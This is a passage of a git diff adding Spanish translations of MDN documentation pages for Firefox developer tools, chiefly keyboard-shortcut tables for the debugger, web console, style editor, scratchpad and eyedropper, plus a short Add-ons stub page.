+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>F</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Encuentra el siguiente en el archivo actual</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>G</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>G</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>G</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Buscar cadenas por nombre</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>P</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>P</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>P</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Reanudar la ejecución en un punto de interrupción</span></span></th>
+   <td><kbd>F8</kbd></td>
+   <td><kbd>F8</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note"><sup>1</sup></a></td>
+   <td><kbd>F8</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Siguiente</th>
+   <td><kbd>F10</kbd></td>
+   <td><kbd>F10</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note"><sup>1</sup></a></td>
+   <td><kbd>F10</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Anterior</th>
+   <td><kbd>F11</kbd></td>
+   <td><kbd>F11</kbd> <sup><a href="#mac-function-key-note" title="#mac-function-key-note">1</a></sup></td>
+   <td><kbd>F11</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Salir</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>F11</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F11</kbd> <sup><a href="#mac-function-key-note" title="#mac-function-key-note">1</a></sup></td>
+   <td><kbd>Shift</kbd> + <kbd>F11</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Alternar punto de interrupción en la línea seleccionada actualmente</th>
+   <td><kbd>Ctrl</kbd> + <kbd>B</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>B</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>B</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Alternar punto de interrupción condicional en la línea seleccionada actualmente</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>B</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>B</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>B</kbd></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a name="mac-function-key-note">1. </a><span class="tlid-translation translation" lang="es"><span title="">De manera predeterminada, en algunos Mac, la tecla de función se reasigna para usar una función especial: por ejemplo, para cambiar el brillo de la pantalla o el volumen.</span> <span title="">Consulte esta <a href="http://support.apple.com/kb/HT3399">guía para usar estas teclas como teclas de función estándar</a>.</span> <span title="">Para usar una tecla reasignada como una tecla de función estándar, mantenga presionada la tecla Función también (para abrir el Profiler, use </span></span><kbd>Shift</kbd> + <kbd>Function</kbd> + <kbd>F5</kbd><span class="tlid-translation translation" lang="es"><span title="">)</span></span><a name="mac-function-key-note"></a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> <span class="tlid-translation translation" lang="es"><span title="">Antes de Firefox 66, la combinación </span></span> <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>S</kbd> <span class="tlid-translation translation" lang="es"><span title=""> en Windows y Linux o </span></span><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>S</kbd><span class="tlid-translation translation" lang="es"><span title=""> en macOS abriría / cerraría el depurador.</span> <span title="">Desde Firefox 66 y versiones posteriores, este ya no es el caso</span></span>.</p>
+</div>
+</div>
+
+<h2 id="Depurador_Antes_de_Firefox_52">Depurador (Antes de Firefox 52)</h2>
+
+<div id="old-debugger">
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Command</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row">Abrir el depurador</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>S</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>S</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>S</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Buscar una cadena en el archivo actual</span></span> usando el <a href="/en-US/docs/Tools/Debugger/How_to/Search_and_filter" title="/en-US/docs/Tools/Debugger/How_to/Search_and_filter">script filter</a></th>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Encuentra el siguiente en el archivo actual</span></span></th>
+   <td><kbd>Enter</kbd> / <kbd>Up arrow</kbd></td>
+   <td><kbd>Return</kbd> / <kbd>Up arrow</kbd></td>
+   <td><kbd>Enter</kbd> / <kbd>Up arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Encuentra el anterior en el archivo actual</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>Enter</kbd> / <kbd>Down arrow</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Return</kbd> / <kbd>Down arrow</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Enter</kbd> / <kbd>Down arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Buscar en todas las fuentes usando el </span></span><a href="/en-US/docs/Tools/Debugger/How_to/Search_and_filter" title="/en-US/docs/Tools/Debugger/How_to/Search_and_filter">script filter</a></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>F</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Buscar cadenas por nombre</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>P</kbd> / <kbd>Ctrl</kbd> + <kbd>O</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>P</kbd> / <kbd>Ctrl</kbd> + <kbd>O</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>P</kbd> / <kbd>Ctrl</kbd> + <kbd>O</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Buscar definiciones de funciones</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>D</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>D</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>D</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Filtrar variables cuando la ejecución está en pausa</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>V</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>V</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Alt</kbd> + <kbd>V</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Reanudar la ejecución en un punto de interrupción</span></span></th>
+   <td><kbd>F8</kbd></td>
+   <td><kbd>F8</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note"><sup>1</sup></a></td>
+   <td><kbd>F8</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Siguiente</th>
+   <td><kbd>F10</kbd></td>
+   <td><kbd>F10</kbd> <a href="#mac-function-key-note" title="#mac-function-key-note"><sup>1</sup></a></td>
+   <td><kbd>F10</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Anterior</th>
+   <td><kbd>F11</kbd></td>
+   <td><kbd>F11</kbd> <sup><a href="#mac-function-key-note" title="#mac-function-key-note">1</a></sup></td>
+   <td><kbd>F11</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Salir</th>
+   <td><kbd>Shift</kbd> + <kbd>F11</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F11</kbd> <sup><a href="#mac-function-key-note" title="#mac-function-key-note">1</a></sup></td>
+   <td><kbd>Shift</kbd> + <kbd>F11</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Alternar punto de interrupción en la línea seleccionada </span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>B</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>B</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>B</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Alternar punto de interrupción condicional en la línea seleccionada</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>B</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>B</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>B</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Agregar texto seleccionado a las expresiones de Watch</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>E</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>E</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>E</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Ir a la linea usando el <a href="/en-US/docs/Tools/Debugger/How_to/Search_and_filter" title="/en-US/docs/Tools/Debugger/How_to/Search_and_filter">script filter</a></th>
+   <td><kbd>Ctrl</kbd> + <kbd>L</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>L</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>L</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Buscar usando el <a href="/en-US/docs/Tools/Debugger/How_to/Search_and_filter" title="/en-US/docs/Tools/Debugger/How_to/Search_and_filter">script filter</a></th>
+   <td><kbd>Ctrl</kbd> + <kbd>O</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>O</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>O</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">En el <a href="/en-US/docs/Tools/Debugger/UI_Tour#Source_pane">panel de código fuente</a>, salta a la definición de la función</th>
+   <td><kbd>Ctrl</kbd> + click</td>
+   <td><kbd>Cmd</kbd> + click</td>
+   <td><kbd>Ctrl</kbd> + click</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a name="mac-function-key-note">1. </a><span class="tlid-translation translation" lang="es"><span title="">De manera predeterminada, en algunos Mac, la tecla de función se reasigna para usar una función especial: por ejemplo, para cambiar el brillo de la pantalla o el volumen.</span> <span title="">Consulte esta <a href="http://support.apple.com/kb/HT3399">guía para usar estas teclas como teclas de función estándar</a>.</span> <span title="">Para usar una tecla reasignada como una tecla de función estándar, mantenga presionada la tecla Función también (para abrir el Profiler, use </span></span><kbd>Shift</kbd> + <kbd>Function</kbd> + <kbd>F5</kbd><span class="tlid-translation translation" lang="es"><span title="">)</span></span><a name="mac-function-key-note"></a></p>
+</div>
+
+<h2 id="Consola_web">Consola web</h2>
+
+<div id="web-console">
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comandos</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row">Abre la consola web</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>K</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Buscar en el panel de visualización de mensajes</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>F</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>F</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abre el <a href="/en-US/docs/Tools/Web_Console/Rich_output#Examining_object_properties" title="/en-US/docs/Tools/Web_Console/Rich_output#Examining_object_properties">panel inspector de objetos</a></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Click</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Click</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Click</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Limpia el <a href="/en-US/docs/Tools/Web_Console/Rich_output#Examining_object_properties" title="/en-US/docs/Tools/Web_Console/Rich_output#Examining_object_properties">panel inspector de objetos</a></th>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Centrarse en la línea de comando</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>K</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Limpiar salida</th>
+   <td>
+    <p><kbd>Ctrl</kbd> + <kbd>L</kbd></p>
+
+    <p>From Firefox 44:</p>
+
+    <p><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>L</kbd></p>
+   </td>
+   <td><kbd>Ctrl</kbd> + <kbd>L</kbd></td>
+   <td>
+    <p><kbd>Ctrl</kbd> + <kbd>L</kbd></p>
+
+    <p>From Firefox 44:</p>
+
+    <p><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>L</kbd></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Interprete_de_línea_de_comandos">Interprete de línea de comandos</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Estos atajos se aplican cuando estás en el</span></span> <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter" title="/en-US/docs/Tools/Web_Console/The_command_line_interpreter">Interprete de línea de comandos.</a></p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Desplazarse hasta el inicio de la salida de la consola (solo si la línea de comando está vacía)</span></span></th>
+   <td><kbd>Home</kbd></td>
+   <td><kbd>Home</kbd></td>
+   <td><kbd>Home</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Desplazarse hasta el final de la salida de la consola (solo si la línea de comando está vacía)</span></span></th>
+   <td><kbd>End</kbd></td>
+   <td><kbd>End</kbd></td>
+   <td><kbd>End</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Avanzar página a través de la salida de la consola</span></span></th>
+   <td><kbd>Page up</kbd></td>
+   <td><kbd>Page up</kbd></td>
+   <td><kbd>Page up</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Retroceder una página a través de la salida de la consola</span></span></th>
+   <td><kbd>Page down</kbd></td>
+   <td><kbd>Page down</kbd></td>
+   <td><kbd>Page down</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Ir hacia atrás a través del </span></span><a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Command_history" title="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Command_history">historial de comandos</a></th>
+   <td><kbd>Up arrow</kbd></td>
+   <td><kbd>Up arrow</kbd></td>
+   <td><kbd>Up arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Ir hacia delante a través del </span></span><a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Command_history" title="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Command_history">historial de comandos</a></th>
+   <td><kbd>Down arrow</kbd></td>
+   <td><kbd>Down arrow</kbd></td>
+   <td><kbd>Down arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Inicie la búsqueda inversa a través del historial de comandos / retroceda a través de comandos coincidentes</span></span></th>
+   <td><kbd>F9</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>R</kbd></td>
+   <td><kbd>F9</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Avance por el historial de comandos coincidentes (después de iniciar la búsqueda inversa)</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>F9</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>S</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F9</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Moverse al principio de la línea</span></span></th>
+   <td><kbd>Home</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>A</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>A</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Moverse al final de la línea</span></span></th>
+   <td><kbd>End</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>E</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>E</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Ejecutar la expresión actual</th>
+   <td><kbd>Enter</kbd></td>
+   <td><kbd>Return</kbd></td>
+   <td><kbd>Enter</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Agregar una nueva línea (para ingresar expresiones de varias líneas)</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>Enter</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Return</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>Enter</kbd></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ventana_emergente_de_autocompletado">Ventana emergente de autocompletado</h3>
+
+<p><span class="tlid-translation translation" lang="es"><span title="">Estos atajos se aplican mientras</span></span> la <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Autocomplete" title="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Autocomplete">ventana emergente de autocompletado</a> está desplegada:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Elija la sugerencia actual de autocompletado</span></span></th>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+   <td><kbd>Tab</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Cancelar la ventana emergente de autocompletado</span></span></th>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Ir a la sugerencia de autocompletado anterior</span></span></th>
+   <td><kbd>Up arrow</kbd></td>
+   <td><kbd>Up arrow</kbd></td>
+   <td><kbd>Up arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Ir a la siguiente sugerencia de autocompletado</span></span></th>
+   <td><kbd>Down arrow</kbd></td>
+   <td><kbd>Down arrow</kbd></td>
+   <td><kbd>Down arrow</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Página arriba a través de sugerencias de autocompletado</span></span></th>
+   <td><kbd>Page up</kbd></td>
+   <td><kbd>Page up</kbd></td>
+   <td><kbd>Page up</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Página abajo a través de sugerencias de autocompletado</span></span></th>
+   <td><kbd>Page down</kbd></td>
+   <td><kbd>Page down</kbd></td>
+   <td><kbd>Page down</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Desplazarse al principio de  las sugerencias de autocompletado</span></span></th>
+   <td><kbd>Home</kbd></td>
+   <td><kbd>Home</kbd></td>
+   <td><kbd>Home</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Desplazarse hasta el final de las sugerencias de autocompletado</span></span></th>
+   <td><kbd>End</kbd></td>
+   <td><kbd>End</kbd></td>
+   <td><kbd>End</kbd></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Editor_de_Estilo">Editor de Estilo</h2>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row">Abrir el editor de estilo</th>
+   <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F7</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abrir una ventana emergente de autocompletado</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Space</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
+  </tr>
+ </tbody>
+</table>
+
+<div id="scratchpad">
+<h2 id="Bloc_de_Notas">Bloc de Notas</h2>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row">Abrir el bloc de notas</th>
+   <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>F4</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Ejecutar el código del bloc de notas</th>
+   <td><kbd>Ctrl</kbd> + <kbd>R</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>R</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>R</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Ejecutar el código del bloc de notas y mostrar el resultado en el <a href="/en-US/docs/Tools/Web_Console/Rich_output#Examining_object_properties" title="/en-US/docs/Tools/Web_Console/Rich_output#Examining_object_properties">inspector de objetos</a></th>
+   <td><kbd>Ctrl</kbd> + <kbd>I</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>I</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>I</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Ejecutar el código del bloc de notas e insertar el resultado como un comentario</th>
+   <td><kbd>Ctrl</kbd> + <kbd>L</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>L</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>L</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Reevaluar la función actual</th>
+   <td><kbd>Ctrl</kbd> + <kbd>E</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>E</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>E</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Recargar la página actual y ejecutar el código del bloc de nota</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>R</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>Shift</kbd> + <kbd>R</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>R</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Guardar el código del bloc de notas</th>
+   <td><kbd>Ctrl</kbd> + <kbd>S</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>S</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>S</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Abrir un código existente</th>
+   <td><kbd>Ctrl</kbd> + <kbd>O</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>O</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>O</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Crear una nueva página del bloc de notas</th>
+   <td><kbd>Ctrl</kbd> + <kbd>N</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>N</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>N</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Cerrar el bloc de notas</th>
+   <td><kbd>Ctrl</kbd> + <kbd>W</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>W</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>W</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Imprimir el código en el bloc de notas</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>P</kbd></td>
+   <td><kbd>Cmd</kbd> + <kbd>P</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>P</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row">Mostrar sugerencias de autocompletado</th>
+   <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Space</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Mostrar documentación</span></span></th>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Space</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Space</kbd></td>
+   <td><kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>Space</kbd></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="eyedropper">
+<h2 id="Selector_de_color_Gotero">Selector de color (Gotero)</h2>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th scope="row" style="width: 40%;">Comando</th>
+   <th scope="col">Windows</th>
+   <th scope="col">macOS</th>
+   <th scope="col">Linux</th>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Seleccionar el color actual</span></span></th>
+   <td><kbd>Enter</kbd></td>
+   <td><kbd>Return</kbd></td>
+   <td><kbd>Enter</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Salir del gotero</span></span></th>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+   <td><kbd>Esc</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Moverse por 1 píxel</span></span></th>
+   <td><kbd>Arrow keys</kbd></td>
+   <td><kbd>Arrow keys</kbd></td>
+   <td><kbd>Arrow keys</kbd></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="tlid-translation translation" lang="es"><span title="">Moverse por 10 píxels</span></span></th>
+   <td><kbd>Shift</kbd> + <kbd>arrow keys</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>arrow keys</kbd></td>
+   <td><kbd>Shift</kbd> + <kbd>arrow keys</kbd></td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/tools/add-ons/index.html b/files/es/tools/add-ons/index.html
new file mode 100644
index 0000000000..53b7924169
--- /dev/null
+++ b/files/es/tools/add-ons/index.html
@@ -0,0 +1,17 @@
+---
+title: Add-ons
+slug: Tools/Add-ons
+tags:
+  - NeedsTranslation
+  - TopicStub
+  - Web Development
+  - 'Web Development:Tools'
+translation_of: Tools/Add-ons
+---
+<p>Developer tools that are not built into Firefox, but ship as separate add-ons.</p>
+
+<dl>
+ <dt><a href="https://addons.mozilla.org/en-US/firefox/addon/websocket-monitor/">WebSocket Monitor</a></dt>
+ <dd>Examine the data exchanged in a WebSocket connection.</dd>
+ <dd> </dd>
+</dl>
diff --git a/files/es/tools/browser_console/index.html b/files/es/tools/browser_console/index.html
new file mode 100644
index 0000000000..a33fe72f99
--- /dev/null
+++ b/files/es/tools/browser_console/index.html
@@ -0,0 +1,177 @@
+---
+title: Consola del Navegador
+slug: Tools/Browser_Console
+tags:
